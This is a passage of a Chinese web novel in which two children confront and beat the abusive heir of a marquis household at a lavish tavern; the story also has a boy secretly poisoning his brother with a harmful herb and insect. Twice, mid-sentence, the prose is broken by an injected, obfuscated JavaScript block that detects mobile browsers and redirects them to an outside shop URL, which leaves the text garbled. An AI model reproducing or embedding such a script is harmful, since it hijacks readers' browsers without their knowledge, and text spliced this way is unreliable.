上升,在不断拍打中成为了残影,在空中盘旋了片刻。 ——最后停留在傅如珩的手指上。 傅如珩的指尖微微颤动,又被强硬地压制住了,若说刚才是不敢呼吸,那这一刻他是真的一动都不动,身体的每一处地方都凝滞起来。 窒息感传来,他却丝毫不觉得难受,全部注意都被放在了手指上。 蝴蝶细长的触角动了动,似是在嗅闻上面的香气,过了片刻才慢慢悠悠地飞走。 傅如珩终于敢大喘气,他迟缓地把门关上,看向刚才被停留过的位置。 手指上仿佛还残留着痒痒的触感,被触角摩擦过,细小的电流从手指一直传递到全身各处。 他鬼使神差把手指放在鼻尖,闻到了浅浅的茶花香。 可能是因为先前握着的时间太长,连带着手指上都带上了香味。 傅如珩像是被惊醒了,他快速打开刚刚关上的栅栏,小跑到前院当中。 前院空空荡荡,只有两个固定守门的仆从。 他循着记忆走到之前的位置,蹲下身子从一簇簇的树丛中一一翻过去。 树丛被修剪得很整齐,形状低矮,树枝上生着小刺。 傅如珩的姿势很别扭,牵扯着腰和脖子,带来阵阵酸痛,但他丝毫没有停顿,一寸寸地搜寻着。 终于在一处树丛底下,他找到了被掩盖的粉色,和周围的落叶混合在一起,显得破败又零落。 但傅如珩却像是看到了什么珍宝,他的手臂太短,够不到深处,干脆半个人都到了树丛当中。 倒刺尖锐,戳着外面的布料,好似下一刻就会冲破阻碍直击皮肤。 他很少有这种不顾形象的时候,很多时候都矜着端庄的样子,行事礼仪都是规规矩矩,挑不出一点毛病。 却在短短一日就破了两次戒。 傅如珩够到花柄,顺势把整朵花都从落叶当中抽出来。 万幸,花朵没有损伤多少,花柄还是笔直的,唯有连接花瓣的地方歪斜了些许。 傅如珩小心地扶正了花朵,却没有立刻离开,而是又蹲下来开始捡花瓣。 这个难度比刚才要高上许多,但他却丝毫没有不耐烦,从落叶当中一片片地找出自己想要的东西,仔细地收拢在一起,最后还不放心地检查了好几遍。 袖口从瘦弱的胳膊处滑下来,小臂上有几处被划伤,但傅如珩只是一遍遍地清点着手中的花瓣数量,丝毫不顾泛红的破口。 终于,他左手拿着花,右手攥着花瓣,重新回到了自己的屋子当中。 这个位置采光不是很好,傅如珩靠在床边的窗口处,从桌子底下拿出一罐浆糊,对着光一片片地把掉落的花瓣粘上去。 浆糊一不小心就会黏在手上,等到一切完工,天边最后一抹亮色也消失在地平线外,傅如珩揉搓了一下黏糊糊的手指,用清水清洗完,才将花朵放入抽屉当中。 乍一看,抽屉里面空空荡荡,没有什么东西。 在深处摆着四样物件,成色普通、样式雷同的三块玉佩,还有三四颗弹珠,随着抽屉被拉开,弹珠滚动起来。 傅如珩看着这些东西,眸色变暗,不知想到什么。 他把弹珠和玉佩拿出来,收拢起来放在一边,先在下方垫上一块丝绢,随后将茶花放到丝绢上面。 抽屉重新被合上,刚刚拿出来的东西却没有被放回去。 傅如珩随意扫了一眼,把它们扔在了床头一角,原本保养得当、毫无尘埃的玉佩顿时蒙上了一层灰色。 8. 草药 冬去春来,转眼间,京城中四季轮了几载。 早上的安静被几声敲门声打破,停留在树枝上的小鸟闻声惊起,带起枝丫颤动。 “傅如珩,快出来!” 正值三月初,天气逐渐转暖,盛秋阑脱下了沉重的大氅,换上了轻便的春装,襦裙黄绿相间,上面绣着精美的花纹样式。 她的头发被迎春分在两边,用发带扎成两个小髻,多余的布料垂下来,随着风飘动。 迎春手巧,在装扮方面得心应手,发带也选用了和裙子相配的嫩黄色,衬得女孩皮肤更加白皙。 乍一看完全是一派岁月静好的样子,如果忽略盛秋阑此时的动作的话。 对面的门被拍了三下,她站在原地等了一会儿,干脆两只手放在嘴边开始喊人。 朱红色的大门被打开一边,里面是侯府的看守人。 “盛小姐来找公子吗?” 自从盛秋阑能够自由跑动之后,侍郎府就彻底管不住她了,几乎天天跑到侯府中来喊人,以至于里面的人几乎都已经眼熟她了。 “嗯,能不能帮我叫一下他?” 在其他人面前,盛秋阑脸上的表情稍微收敛了一点。 因为小时候的印象,她对侯府中的人观感一向算不上好。 “要不盛小姐直接到公子屋中去吧,省得在外头着凉。” 侯府自然不是谁都能进的,但是这位盛家小姐不一样,一方面是她父亲侍郎身份,另一方面,她和傅如珩从小一起长大,情谊深厚,尤其是这段关系背后还有侯爷的默许。 这种种原因下来,其他人自然不会阻挡,导致盛秋阑来侯府和自己家一样熟悉。 “不用,我就在这里等吧。” 盛秋阑站在门口,没有上前。 明明刚才还是一副火急火燎的样子,现在却格外遵守规矩,她做事一向如此,之前也都是等到傅如珩出现她才会入府。 盛秋阑在门口的台阶处,用脚来回摩挲着边缘,直到听到身后传来不疾不徐的脚步声。 她眼睛一亮,急忙转身,看见穿着一身青袍的傅如珩。 后者的头发上绑着简单的白带,一丝不苟地梳在脑后,唯有两边留着一些碎发。 “你来得好慢,难不成又赖床了?” 傅如珩见她倒打一耙,毫不留情地拆穿:“是谁赖床了?昨日说好辰时,看看现在已经几点了。” 在床上赖到十点钟的盛秋阑见无法糊弄过去,又找了个由头挑刺:“你出来的怎么这么慢,难不成有什么猫腻?” 傅如珩面色不改:“刚才在温习功课,没有听见声音。” “自己温习哪有先生有效果,也不知道你爹怎么还不把你送到学堂中。”盛秋阑顺口嘟囔着。 傅如珩现在是八岁,按理说早已经到了一般学堂里入学的年纪,但是却迟迟没有动静,只能自己拿书学习。 见她提到这件事,傅如珩眼中闪过一抹晦暗,转瞬又被掩藏下去:“若是入学了,你去找谁?” 京城中无人不知盛家千金和侯府五公子玩得好,盛怀德是无所谓,他看得出来傅如珩的品行如何,不会过多干预,侯府更是毫不遮掩这一层关系。 “有很多人都愿意和我玩的。” 闻言,傅如珩嗤笑一声,不做评价。 “今日河坊集市好像有表演,你东西整好了吗?” 傅如珩早已经准备好了,说是他的包裹,实则里面全是盛秋阑的东西:“你等我去拿。” 盛秋阑往里面张望:“我和你一起去。” “不用,你就等在这里。” 盛秋阑感觉到猫腻,她眯起眼睛,狐疑地看着傅如珩:“你已经好几天没让我进你房里了。” 先前她也提过几次,都被对方不动声色地转移了话题。 要知道傅如珩之前可是随便她进的。 傅如珩面上看不出异常:“本来就迟了,再晚些集市可能就要关了。” “行吧。”盛秋阑像是被他说服了,老老实实地停留在原地。 傅如珩仔细确认她没有动作之后才转身,随即身后窜出一个黄绿炮仗,以迅雷不及掩耳之势踏入了门槛中。 盛秋阑仗着个子小,从旁边的空余中钻进去,熟门熟路地往傅如珩的屋子方向跑去。 规矩是死的,人是活的。 傅如珩一向对这种集市不感兴趣,全靠她好说歹说才答应下来,怎么可能会在意关不关门? 如果说盛秋阑之前还只有一点怀疑的话,那现在基本就是肯定了。 ——她的小竹马有事情瞒着她。 傅如珩看这架势就知道自己拦不住,快走几步跟在身后,脑海里面思索着应该怎么解释。 他没想过能瞒住很久,只想着能拖一天是一天,没想到这才没两天,盛秋阑就发觉了不对。 想到对方刚才冲过去的速度,傅如珩磨了磨牙。 平时磨磨蹭蹭,这时候倒是积极起来。 也怪他太过相信盛秋阑了,差点忘记这是在自己的生辰宴上都能够随心所欲的人。 傅如珩慢了一步赶到院前,果然看到盛秋阑叉着腰,明眸睁大,看着小院当中新鲜出现的坑。 她第一次来侯府的时候就看到了这个坑,当即叫府中的花匠拿来一整袋泥土,和傅如珩两个人一起,吭哧吭哧把坑给填平了。 周围的仆从本来想要上来帮忙,却被盛秋阑拒绝了。 她生得伶牙俐齿,呛起人来也丝毫不落气势:“我还以为你们看不见这个坑呢。” 在盛秋阑的不断追问下,她知道这个坑是很早之前就有了,几年里这么大一个空缺不可能没看见,却谁也没有管。 周围的人闻言神色各异,盛秋阑却没有再加关注。 她实际没有出多少力,大多都是傅如珩干的,唯一的任务是在最后踩平新泥上面的不平整。 得知这是侯府世子命令拔出来的,她当即想要找对方算账,但是那时候傅皓轩已经被送去了学堂,唯有假期才能回来。 不能立刻教训人,盛秋阑很不爽,把脚下的泥土当成了对方,一脚一脚踩得格外用力。 “好了,已经很硬了。” 傅如珩怕她把自己脚踩痛,拉着盛秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904868|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阑出了那块地方。 他回头望了望被填平的地方,自从他搬来之后就有的空缺被补齐,上面的泥土颜色略深,上面还残留着鞋底花纹。 只是一个坑而已,其他人都视若无睹,他也要习惯了,但盛秋阑却觉得这是一件很重要的事情,把花园里面所有工作的人都喊了过来。 这样尤嫌不够,整个小院里面光秃秃的没有一点装饰,丝毫没有生气。 盛秋阑不想让侯府中的人打理,原本打算等今天去集市里面看看有没有合适的种子,没想到还没有走,这个坑又出现了。 “这是谁弄的,”她的眼睛里面盛着怒火,“又是傅皓轩那个王八蛋是不是?” “等着我去找他算账。” 盛秋阑正想要走近一点观察,却被傅如珩拉住了。 后者满脸我就知道,从口袋里面拿出一小罐药膏,涂在她裸露在外面的皮肤上。 “别靠近,我撒了草药。” 他的声音中带着冷意:“应该是在我不在的时候来的,本来明天就可以把事情解决。” 傅如珩之前已经联系好了人,只是没想到还是被发现了。 他指了指旁边新鲜洒下的种子,细看之下,长出来的颜色比普通的杂草要浅一点:“要是他们再靠近,这些草药上面的汁液至少会让他们难受半个月。” 这种症状可以提前预防,治疗起来却困难,沾染上的人会奇痒难忍,过几天就会出现水疱,抓伤了则会留下疤,与此同时还伴随着高热,若是治疗不好可能会留下一生痴傻。 傅如珩在书上看见这段话的时候就开始着手搜寻起来,最后在一家偏远的草药馆中买回来。 药馆中收集了不少东南部落的稀奇草药,功效各不相同,也不乏有诡异奇毒,相比起来,这种效果已经算是小打小闹。 他一边介绍,一边观察盛秋阑的表情,怕在她的脸上看到不忍和害怕。 不论是哪一种,都不是他想看到的。 盛秋阑第一次听有这种草药,愣了愣,一时没有说话。 还是接受不了吗? 傅如珩突然有些后悔把这些东西告诉她,出于某种暗自揣测和隐秘的期待。 这种手段听起来有些恶毒,不像是一个八岁的小孩能够想出来的。 盛秋阑应该一辈子都不用知道这些东西。 他沉默地等在原地,如同面临某种审判。 “还有这种好东西?” 傅如珩抬起头,看见盛秋阑眼睛亮亮的,满眼都是对这种草药的好奇,好像刚才听到的根本不是他想要害自己的兄长。 “早知道上次填坑的时候就应该撒上去,让傅皓轩现在只能躺在床上叫。” 盛秋阑后悔了一会儿,突然冒出一个主意:“他既然能够回来,应该下学了吧。” 傅如珩点了点头。 虽然不知道她想要干什么,但是出于对盛秋阑的了解,当她露出这个表情的时候,代表有些人要遭大罪了。 果然,对方大手一挥,撩起了两边的袖子,语气恶狠狠:“今天不去那个破集市了,我去给你出气。” 9. 酒楼 盛秋阑说到做到,当即拦下一个丫鬟询问:“傅皓轩去哪了?” 见她一副气势汹汹的样子,那人不敢迟疑,回忆道:“世子殿下今早说要和赵公子一起去酒楼。” 说成酒楼还算好听,谁不知道侯府世子早在入学前就是横行霸道、贪图享乐的主,等到年龄稍长,更是种种花天酒地,寻欢作乐,日日沉醉于莺莺燕燕当中。 侍郎府的马车就停在门口,盛秋阑拽着傅如珩上了车,对着前面的侍卫说:“去鎏金楼。” 鎏金楼是京城中最大的酒楼,说是酒楼,实际背后什么生意都接,就连朝中官员有不少也是其中的常客,大家都心照不宣。 听到傅皓轩来酒楼,盛秋阑第一反应就是这个地方。 闻言,侍卫没有立刻驾马,带着犹豫地问:“小姐去那种地方作何?” 盛秋阑虽然平时贪玩,但从不踏足这种烟柳之地,若是让老爷和夫人知道他带去了这种地方,免不了要怪罪下来。 盛秋阑咬着牙:“去打人。” 侍卫一听放下心来。 还好,只是打人而已。 他贴心地询问:“要不再多叫一些人来?” 盛秋阑对比了两边的实力差距,傅皓轩去这种地方应该不会带太多侍从,但是看拳脚和年纪,他们还是有一些差距的。 “行,把能叫的都叫上。” 小姐下令,侍郎府中又出来了几个护卫,跟在马车后面,一队人就这样明目张胆地到了鎏金楼的门口。 鎏金楼位于京城最繁华的地段,在这个租金高昂的地方,它独独占了最中间的位置,共有整整四层,每一层都是灯火通明。 酒楼的墙壁和飞檐上面都刷着金漆,纵使在白天也是非常显眼,花样繁复的大门敞开着,里面传来谈笑和歌舞声。 见有马车停在门口,楼里掌事的小二赶紧出来迎接。 光看马车表面和旁边跟着的侍卫数量就能看出车中的人身份不凡,他不敢怠慢,揣着手等着车中的人下来。 小二不是没有见过达官贵人,只是这些人出于颜面或是别的原因,大多会从隐秘的后门进来,像这样大摇大摆地从正门口进来的才是少见。 况且他从鎏金楼开始营业就在这里工作了,还是第一次见这种样式的马车,像是头一次过来。 出乎意料的,首先下来的是一个约莫八九岁的男孩。 他的气质和周围的氛围格格不入,先皱着眉头看了笙歌鼎沸的酒楼一眼,随后把注意力放在马车当中,向里面伸出手。 一只柔软的手搭在上面,随后跳下来一个女孩。 她的装扮虽然看起来平常,但小二在这边工作这么久,自然能看出面料和剪裁都不是一般人家有的。 女孩看起来有些急切,刚一下来就想要往大门口走,身边的人拉了一下,她才不情不愿地放慢了一点脚步。 本来等在一旁准备迎接贵人的小二有些犹豫,纠结要不要把人放进去。 贵人倒是贵人,只是这年龄……属实也太小了点。 他谨慎发问:“两位客官有什么吩咐吗?” 盛秋阑直接地点出:“傅皓轩在不在里面?” 听到这个名字,小二眉头跳了两下。 虽然不清楚两位是什么来历,但侯府世子也不是他能够得罪得起的。 他想要含混过去:“这个小的也不是很清楚……” 盛秋阑听出了他的不自然,确定了自己的目的地:“带我们去找他。” 她的身后还跟着四个人高马大的侍卫,在他们谈话的功夫,一直警备地站在后面。 小二额头的冷汗都要出来了,见瞒不过去,欲哭无泪道:“小姐,不是小的不说,只是世子身份特殊……” 盛秋阑见硬的不行,把傅如珩拉到身边,直接上手在对方腰间摸索着,找到一块玉佩。 她指着玉佩上面刻着的字:“看到了吧,都是一家人。” 侯府中的人都有一块玉佩,上面刻的是“傅”字,象征着出门在外的身份,需要时刻带在身旁。 傅如珩这块玉佩在他入府第一天就给了他,之后一直没有摘下来过。 玉上面的标记和字做不得假,小二的态度放松了很多。 盛秋阑趁热打铁:“兄长先前让我们来送东西,若是晚了可能要发火。” 世子的脾气众所周知,小二也不敢再怠慢,把人领进去。 盛秋阑见他转身,偷偷做了个呕吐的表情。 要不是为了进去,她才不会叫傅皓轩兄长,给她恶心得够呛。 后面跟着的侍卫抬脚,他有些为难地看了一眼:“我们楼里有足够的护院,两位的安危不用担心,这样可能有些过于显眼了。” 盛秋阑是来闹事来的,有护院才不好办事。 只是这样浩浩荡荡过去确实容易打草惊蛇,她犹豫一下,留下了两个等在门口。 “这样就行了吧。” 小二带着他们进入到酒楼当中,刚一进门就是一股麝香混杂着脂粉味,过道里面站着两排穿着旗袍的年轻女子,样貌穿着各有特色。 放眼望去,歌姬和舞姬轻轻柔柔,隔着一层纱,几乎要将人哄得不知道东南西北。 每张桌子上都堆满了酒杯酒瓶,还有小二在过道中穿梭,手里提着各式的酒液。 作为京城中最大的酒楼,鎏金楼能经久不衰也是有原因的,每一个构造和布置的背后都暗藏着巧思,从不同的角度看过去都是一番光景。 光是大厅里面的场景就足够让人兴奋,更别说藏在更高楼层里面的香艳了。 盛秋阑上辈子只进过清吧,还是为了给小说找灵感,结果没呆上一小时,就因为里面的酒水太难喝提前出去了。 哪怕之前有过心理准备,她还是被这幅纸醉金迷的场景吓了一跳,不自觉往傅如珩的方向躲了躲,顺便又骂了傅皓轩一顿。 果真是满脑子水的败类,要不是因为他,她才不会来这种地方。 傅如珩也是第一次来这种地方,他抿紧了嘴唇,把盛秋阑往自己身上揽了揽,与旁边隔出一点空间。 小二带着他们穿过大厅,来到侧边的楼梯上。 “小姐、公子,请来这边。” 楼梯是用松木做的,细细看上去,每一根栏杆上面都缠着银线,台阶上面铺着厚厚的一层地毯,踩上去几乎没有声音。 “上面就是贵人的包间,世子殿下在咱们的第三层。” 傅皓轩是鎏金楼里面的常客,为此酒楼专门给他留出了一个包厢供他和他的狐朋狗友。 来到第二层的平台时,盛秋阑好奇地往过道中张望了一眼,每一层的布置都不相同,第二层明显要更加华丽一些,过道中灯光明亮,熏香的味道浓郁,香气又甜又腻。 不知道哪个包厢的门没有关上,里面的声音传出来。 盛秋阑第一次没有听清,直到娇喘声越来越大,几乎离得近的人都能听到。 几乎是第一时间,她就意识到了里面的人在干什么。 盛秋阑:“……” 喂喂喂,做这种事能不能关个门啊。 傅如珩身形一僵,耳垂处漫上红色,想都没有想就捂上了女孩的耳朵。 看他一脸不自然的样子,盛秋阑反而放松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904869|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很多。 作为一个成年人,驰骋言情小说界多年,她当然写过这种剧情。 不才,被读者们称为“车神”。 反倒是傅如珩,把她的耳朵捂得死死的,但脸上的表情早已经暴露了。 小二讪笑着:“应该是哪个客官忘记关门了,小的等会儿去提醒一下。” 话虽这么说,他心中却另有一番打量。 总有人在这方面有些特殊癖好,甚至于官越大,这类不可言说的爱好就更多。 这扇门究竟是无意还是故意的打开的,谁也说不清楚,万一扰了兴致反而损失一桩生意。 他带着几人快步离开了这个地方,继续往上走。 傅皓轩不喜欢有人打扰,小二把他们带到包厢门口就退出了,留下盛家的两个侍卫守在门口。 盛秋阑示意他们在门口等候指令,自己先按下了门把手。 在门打开的一刻,傅如珩先她一步挡在面前,隔着一个身位望向里面。 包厢被分成了两个部分,他们在外侧的房间里面。 一扇门后面隐隐传出交谈声,盛秋阑紧跟着进来,听出这是傅皓轩在说话。 “你脖子上怎么红了?” 傅皓轩烦躁地说:“别提了,不知道哪个虫子在我床上,被咬了一口,这都第三天了也没有好。 “没找大夫看看?” “府里面的庸医都说不清楚,没见过这种虫子。我爹每个月真金白银养着,这群废物连个蚊虫都看不好,前两天肿得都起不来床,今天才好些。” 赵乾听出他不想多说,识趣地换了个话题:“你回去见到你那弟弟了吗?” 傅皓轩冷笑一声:“他算哪门子弟弟,不就是一个没娘的种,当初我爹就应该让他在外面自生自灭。” “不过听说他和侍郎千金关系挺好?”赵乾试探。 听到盛秋阑的名字,傅皓轩脸上的厌恶更甚。 “就那个……”想到侍郎的身份,他还是咽下了口中的话,“每次她来就没什么好事,也不知道我爹怎么还那么欢迎。” “这次回家还看到那个院子里面的坑被填上了,也不知道他哪里来的胆子,他敢填一次我就敢挖一次。” 赵乾在一旁捧场,傅皓轩越说越得意。 “为了给他点教训,我还把他床上的被褥全都扔到坑里面去了,估计那天晚上就只能躺在木板上吧。” 盛秋阑听得拳头都攥紧了,恨不得现在就冲进去把说话的人打一顿。 “你怎么没跟我说过这件事,那天晚上真的睡在床板上了?” 没有了被褥,床顶多能算个大些的木板,若是躺在上面一晚上,第二天连身都起不来。 傅如珩还有心思整理她凌乱的头发:“储藏室里面有多余的被褥。” 他知道盛秋阑会是这个反应,所以才没有告诉她。 “可是就这样放过也太便宜他了。” 傅如珩动作不变,唯有眼眸有一处深色:“所以我在他床上放了一只吸血虫,药馆的掌柜送给我的,和草药出自同一处。” 盛秋阑很快想到了傅皓轩之前提过让他两天都起不来床的伤口,心中终于舒坦了一点。 但她没打算让这件事情过去,正好这次两份账一起算。 她敲了敲门,里面的交谈声停止。 “应当是之前请的舞姬。” 傅皓轩:“姑娘进来吧。” 盛秋阑冷笑一声,一把推开了门。 没等惊愕的两人反应过来,她随手拿起一旁的酒杯,泼在傅皓轩头上。 “姑什么娘,我是你姑奶奶。” 10. 铃铛 金黄色的酒液缓缓从头顶上流下来,滴到昂贵的锦缎衣袍上,配上傅皓轩狰狞的表情,显得更加狼狈。 “你干什么?!” 傅皓轩气急,一时之间,什么侍郎千金的身份全都抛在脑后,伸出手就想要打她。 他的手刚抬起来,就被傅如珩拦住了。 不知不觉中,傅如珩的身高已经快要逼近他,力气也变大许多,与他这个日日沉浸在声色犬马中,内里早已经被掏空的虚架子完全不同。 傅皓轩想要甩开他,那只手却死死制衡着,根本动不了。 “谁带你们过来的,怎么都没有人拦一下?!” 盛秋阑站在傅如珩身后,颇为惊讶地发现她这个竹马居然还有这个身手。 她见傅皓轩想要喊人,提前开口:“你别想了,这一层楼的人都被我打发走了,没有人会听见。” 在来的时候盛秋阑就观察在周边,能够在这一层楼里的人都不喜欢被打扰,就算有什么事情也是打发各自的仆从去做,包厢的门特意做了加厚,里面的动静不会传到外面。 简而言之,是个打人的好地方。 照理来说,按照傅皓轩和赵乾的身份,他们身边也会有仆从。 可是两人前两天还被学堂里面的先生教训,各自回家之后安分了几日,不敢出现得大张旗鼓,身边的人也被打发到了旁边,包间里面只剩下两个人,就这样给了盛秋阑机会。 她对着外面早已经守候着的人示意,两个侍卫训练有素地把傅皓轩和赵乾压制住,让傅如珩得空,顺便把盛秋阑拉得更远了一点。 后者却没有那么听话,她今天过来可不是就为了泼一瓶酒的。 “院里那个坑就是你挖的?”盛秋阑狠狠踹了一脚,在傅皓轩花里胡哨的衣服上留下一个黑乎乎的鞋印子。 她专门找了人体脆弱的地方,光看傅皓轩扭曲的表情就知道她的下脚有多重。 从盛秋阑的样子上看,她根本没有想要得到答案,紧接着踹了第二脚。 她下脚的时候特地找了同一个地方,本就疼痛的位置再次受到大力,傅皓轩面色苍白,身体止不住地蜷缩,却被身后的侍卫控制住了。 “这样,你丢了几件,我还你几脚。” 盛秋阑开始一一细数,从傅如珩入府开始算起,大到床铺被褥,小到茶余点心,每说一件东西就往傅皓轩身上踩几脚,说到最后她自己都累得气喘吁吁。 傅皓轩身上都有衣服几乎已经看不进原样,傅如珩阻拦住了还要往他身上踩的盛秋阑。 “好了,你快要出汗了,现在天气冷,等会儿出去可能会感风寒。” 傅皓轩还没有来得及松一口气,就听到他这个便宜弟弟说:“可以让侍卫代劳。” 训练有素的侍卫力气可不是盛秋阑这个才几岁的小孩能比的,他两眼一黑,冲着一旁的赵乾使眼色。 没看到他被打成什么样了吗? 赵乾早已经被这个样子吓呆了,畏畏缩缩地躲在一旁,被其中一个侍卫制住,生怕盛秋阑眼睛一转,发现他还在旁边,就转了打人的目标。 他心里面叫苦不迭,没想到就出来偷个闲,竟然也能碰上这种事。 听着盛秋阑一边说话一边打人,赵乾焦急地回忆着刚才的对话,生怕自己也说出了哪句话被记恨上。 他又不是傻,他们的人数不占优势,火没有烧到自己身上就不错了,怎么可能现在帮忙? 傅皓轩气急,赵乾看他身份平时在旁边巴结他,骂人的时候也有他的份,到了这关头反而开始装死,就看着他一个被打。 眼看着面前的人就要换成高大的男人,傅皓轩眼中满是绝望。 这时候,门外面传来娇软柔媚的声音:“公子,奴家来晚了。” ——是先前叫的舞姬。 傅皓轩眼睛一亮:“快进来!” 盛秋阑想要捂住他的嘴,但是已经来不及了。 舞姬推开门,脸上的笑容一僵,转瞬变成了惊恐,就连手上拿着的薄纱也掉在了地上。 房内的场景诡异,两个常来的纨绔公子被反压住,说好的二人包厢却莫名多出了四个人。 两个年纪稍小,但是装扮一看就不俗的小孩子站在被控制的人面前,女孩气喘呼呼,像是刚刚经历了什么激烈的运动。 门还没有来得及关上,傅皓轩找准机会,大声喊他的人:“救命!” 他真的被逼急了,用尽了全身的力气,声音几乎要穿透整个回廊。 旁边的包厢传来被打开的声音,随后冲进来两个衣着普通的侍从,正是经常跟在傅皓轩和赵乾旁边的人。 他们看见自家公子被这样对待,先是一惊,登时上前加入局面。 能够当上世家公子的贴身侍从,他们的身手自然不凡,很快盛秋阑带来的两位侍卫就被牵制住了。 傅皓轩从地上爬起来,当即就想要找盛秋阑算账。 毫无形象地被踹,还被看了笑话,他当然不可能就这样罢休。 场面一度非常混乱,盛秋阑看到优势已经没有了,快速地往后退,傅如珩挡在她的面前。 傅皓轩抓不到人,但是又打不过傅如珩,转头冲在一边还有些懵逼的赵乾喊:“还不快过来帮忙!” 赵乾刚刚得罪了人,这时候还是心有余悸,被吼了之后回过神,连滚带爬地起来,帮忙一起控制住了傅如珩。 纵使傅如珩有过锻炼,但他年岁摆在这里,又只有一个人,面对两个人还是有些吃力。 盛秋阑在一旁急得团团转,想要上前帮忙又怕拖后腿。 走廊上面有动静,应该是舞姬跑走之后去叫护院了。 虽然事出有因,但毕竟是他们先过来动手的,说出来也占不到理。 场面僵持着,两边一时都讨不到好。 总归今天已经把人教训了一顿,盛秋阑见好就收,对着傅如珩使了一个眼色,示意现在就走。 傅皓轩当然不可能愿意放手,傅如珩无法动身,盛秋阑环顾四周,把目光落在中间的一张小桌子上。 那原本是用来两个人饮酒对坐的,现在上面摆着没有喝完的酒杯和下酒的食物。 她跑过去,两手用力抬起了桌子,往傅皓轩的方向掀去。 傅如珩早在看到她动作的时候就知道盛秋阑想要干什么了,他换了一个角度,让傅皓轩和赵乾充当遮挡物。 一番操作下来身上干干净净的,就连一个水滴都没有溅到。 而直面着桌子的两人就没有这么好运了,傅皓轩原本身上的水渍就没有干透,又被酒水和吃食淋了满身。 一个鸭掌落在腰带处,在下身留下一串污渍,糕点外面的酥皮掉在上面,簌簌下落,整个人身上的味道混杂,像是刚刚从哪个垃圾桶里面出来的。 赵乾也同样如此,两个人活到这么大一直被锦衣玉食地伺候着,还没有过这么狼狈的时候。 走廊当中的脚步声越来越近,听起来人数还不少。 来不及了。 盛秋阑干脆直接上手,想要把傅皓轩的手掰开来,还一脸嫌弃地躲过了沾着污渍的衣服。 傅皓轩被她脸上的表情刺激到了,一只手抓着傅如珩不放,另一只手伸向了盛秋阑。 他的袖子上还在不断往下滴在卤味的酱汁,盛秋阑灵活地躲开,没让汁水滴在自己的衣服上。 眼看着时间就要来不及了,干脆一嘴咬上了傅皓轩的手腕。 她这一口使尽了全力,牙齿深深陷进了皮肤里面,几乎可以看见丝丝冒出来的血丝。 “啊!” 傅皓轩吃痛,赶紧放开了傅如珩,被咬的手臂无力地垂落,上面带着极其明显的牙印,脸色苍白。 盛秋阑龇 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盛秋阑没忍住漏出一个笑音,脚下的步子更快了。 鎏金楼呈“回”字形,两边各有一处楼梯。 他们的跑走的路线刚好与护院错开,一路上畅通无阻。 到达第二层的时候,楼中的光突然全部熄灭,紧接着又骤然亮起,一楼的宾客安静一瞬,爆发出一阵欢呼喝彩声。 大厅中的客人是最多的,全都聚集在一起,场面本就喧闹,现在更是被推向了高潮。 这处楼梯相比起刚上来时有些许不同,两侧的扶杆上面缠绕着细细的金线,每隔一段距离就有一枚小金铃,用手拨动会发出清脆的响声。 盛秋阑一开始还怕发出来的声音会吸引人,但此刻被底下嘈杂的声音盖住,她终究还是没忍住,手指蠢蠢欲动,拨动了一下铃舌。 铃铛震动,通过相连接的丝线,一整排的小金铃都发出声音。 盛秋阑身形一僵,赶紧往后面看了看,没有发现追过来的人才松了一口气。 她不敢再手欠了,乖乖跟在傅如珩后面,往门口走去。 一楼大厅中的人数相比起刚进来时又翻了几番,都是被这边的动静吸引过来的,人群挤在最中央的舞台面前,推推搡搡地想要往前排走。 入口处还在源源不断地来人,他们借着这个机会往人群当中挤,仗着个子小,很轻易地就淹没在了人海当中。 眼看着快要到了门口,身后的灯光再次熄灭,随之而来的是接连不断的铃铛声。 盛秋阑差点以为自己把楼梯上的铃铛带出来了,转头一看才发现不是。 台上出现了一个舞姬,穿着紫色浅纱薄裙,看样式像是楼兰那边传过来的,金色的细链缠绕在腰部和大腿部,刚才的铃铛声就是链子上悬挂着的东西发出来的。 在场的很多人显然都认识她,场面骚动起来。 “今日居然是头牌出来。” “快快快,往前面挤挤。” 盛秋阑没站稳,被推搡着往后面倒去,幸好傅如珩在后面,及时扶住了她。 她不敢再久留,混在进来的人群当中,赶紧出了这个地方。 不知是不是错觉,明明已经离开了酒楼,耳边却还是环绕着铃声,伴随着走路的动作阵阵作响。 盛秋阑晃了晃脑袋,以为是自己在里面呆太久,耳朵出现问题了。 没想到她一动,铃声更加剧烈,好像就在耳边。 耳边? 一只手伸到她垂落着的发带上面,微微用力。 盛秋阑只感觉头发被轻轻扯了一下,随后面前出现了一枚正在摇晃的铃铛,在阳光下反着金色的光。 正是刚才发出声音的“罪魁祸首”。 11. 小弟 小巧精致的铃舌晃动了一会儿,渐渐安静下来。 盛秋阑之前根本没有发现这个小东西,也不知道是什么时候缠到发带上的。 她回想了一下,记起来之前跑下楼的时候,头发好像被什么东西扯了一下,但是因为当时急着跑出来,而且很快就没有感觉了,她也没有在意。 可能就是在那时候,飘起来的发带勾到了旁边的铃铛,于是顺势带下来了。 铃铛只比拇指大一点,需要用两个手指头捏住才堪堪拿稳。 说起这个,盛秋阑看向面前的傅如珩,挑了挑眉,状似不满。 “你之前怎么没跟我说过你这么会打架?” 印象当中傅如珩还只能在角落被欺负得一声不吭,就这么几年,他已经能够挡住比自己大五岁的傅皓轩了。 傅如珩没有立刻回答她。 什么时候呢? 可能是参加完盛秋阑的生辰礼,被挡在女孩后面的时候。 